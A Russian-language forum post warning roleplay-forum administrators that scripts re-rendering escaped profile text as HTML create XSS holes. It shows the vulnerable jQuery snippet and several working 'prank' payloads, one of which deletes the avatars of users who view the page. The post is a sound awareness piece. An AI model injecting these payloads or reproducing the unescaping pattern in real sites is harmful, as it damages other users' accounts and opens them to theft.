Mistake Not

Объявление

Постов за июнь: 337 | Эпизодов закрыто: 4
crossover | 18+
Активисты
Blade Blade
Dan Heng Dan Heng
Fingon Fingon
Wei Wuxian Wei Wuxian

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Mistake Not » Falling Outside the Normal Moral Constraints » черновик


черновик

Сообщений 1 страница 3 из 3

1

С постепенным освоением нейросетей широкими народными массами появляется больше разнообразных скриптов, призванных украсить жизнь форумных жителей. Это, безусловно, приятно, но думается, не стоит в погоне за красотой забывать о некоторых важных вещах. Например, о безопасности.

Что такое XSS
и при чём тут безопасность

XSS (Cross-Site Scripting) -- это вариант атаки на веб-системы, в котором злоумышленник внедряет вредоносный код непосредственно на выдаваемую страницу. И когда посетитель открывает такую страницу, этот код выполняется прямо в его браузере.

Все приличные веб-сервера защищены от XSS в частности, валидацией и экранированием пользовательских полей. В случаее с mybb&co это означает, что теги html выполняются строго в iframe и запрет на использование скриптов. И именно поэтому только администраторы могут вставлять html код в поля профиля, а вставленный пользователем html превратится в текст.

Но всем хочется плашечки, картиночки и красивости, а администраторы устают ручками это всё менять, так что на помощь пришли простенькие скрипты, подменяющие текст на html, и создающие, таким образом брешь в защите форума, например, такие:

Код:
$('.pa-fld1').each(function(){
    $(this).html(function(){
        return $(this).text();
    });
});

Все довольны, можно разрешить пользователям самим украшать себя -- пока на форуме не появляется злоумышленник или просто некто, чрезмерно любознательный. Он неожиданно обнаруживает, что можно написать в поле своего профиля простенькое

Код:
<script>$("#pun").remove();</script>

и тогда у всех пользователей, заглянувших на страницу, где наш герой оставил сообщение, тело форума просто пропадёт.

Происходит следующее:

  • Пользователь пишет в поле что-то вроде: <script>alert('xss')</script>

  • Движок форума экранирует всё подозрительное: &lt;script&gt;alert('xss')&lt;/script&gt;

  • Скрипт берёт уже экранированный текст и преобразовывает его обратно в html

  • Браузер видит: <script>alert('xss')</script> и выполняет код

Примеры шуточных скриптов
ничего плохого не происходит, но заставляет задуматься

Заменит всем пользователям, просматривающим страницу, тему на чёрную (подставить название нужной темы)

Код:
<script>localStorage.setItem('selectedTheme', 'black')</script>

Заставит форум сделать бочку

Код:
$("body").css({"transform": "rotate(180deg)", "transition": "transform 2s"})

Имитирует "залипание" клавиш, если пользователь печатает что-то на странице со скриптом

Код:
<script>document.addEventListener('keydown',(e)=>{if(Math.random()>0.6)e.preventDefault();})</script>

Удалит аватары всем пользователям, просматривающим страницу

Код:
<script>o=document.URL;history.replaceState(null, null, "/profile.php?section=avatar&id="+UserID);$.ajax("/profile.php?action=delete_avatar&id="+UserID);history.replaceState(null,null,o)</script>

Пьяный скролл (заставит страницу дёргаться при прокрутке)

Код:
<script>let w = 0;window.addEventListener('scroll', () => {w = (w+ 1) % 10;$('html').css({'transform': `rotate(${Math.sin(w)*0.31}deg)`,'transition': 'transform 0.1s'});});</script>

Что ещё можно устроить с этой штукой

  • Можно видоизменять чужие поля профиля (обнулить банк, посты, что еще важно)

  • Следовательно, можно породить цепную реакцию, загружая в чужие профили дополнительные скрипты.

  • При должном упорстве, особенно на форумах, где дополнительно установлен "быстрый вход", можно украсть пароли.

  • ...

Что делать

  • Задуматься

  • Не доверять

  • Экранировать данные

  • Проверять

Если не понимаете совсем ничего в кодах, спросите того, кто понимает (или нейросеть), что делает тот конкретный скрипт, который вы хотите вставить на форум.

Подпись автора

Подпись - это небольшая приписка, прилагаемая к вашим сообщениям. Это может быть все, что вам нравится. Например

1
96

0

2

@test @смайлоносец

Подпись автора

Подпись - это небольшая приписка, прилагаемая к вашим сообщениям. Это может быть все, что вам нравится. Например

1
96

0

3

@смайлоносец

Подпись автора

Подпись - это небольшая приписка, прилагаемая к вашим сообщениям. Это может быть все, что вам нравится. Например

1
96

0


Вы здесь » Mistake Not » Falling Outside the Normal Moral Constraints » черновик


Рейтинг форумов | Создать форум бесплатно